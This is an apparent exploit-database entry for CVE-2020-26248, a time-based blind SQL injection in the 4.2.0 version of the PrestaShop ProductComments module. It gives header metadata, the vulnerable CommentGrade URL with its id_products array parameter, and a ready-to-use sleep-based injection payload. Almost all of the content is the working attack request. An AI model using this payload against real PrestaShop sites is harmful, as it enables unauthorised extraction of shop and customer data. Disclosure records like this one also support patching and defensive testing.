PrestaShop ProductComments version 4.2.0 suffers from a remote blind SQL injection vulnerability.
37632d0cb183df80b15968c84e241791# Exploit Title: PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection
# Date: 2020-12-15
# Exploit Author: Frederic ADAM
# Author contact: [email protected]
# Vendor Homepage: https://www.prestashop.com
# Software Link: https://github.com/PrestaShop/productcomments
# Version: 4.2.0
# Tested on: Debian 10
# CVE : CVE-2020-26248
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=[SQL]
Example:
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(2)))a)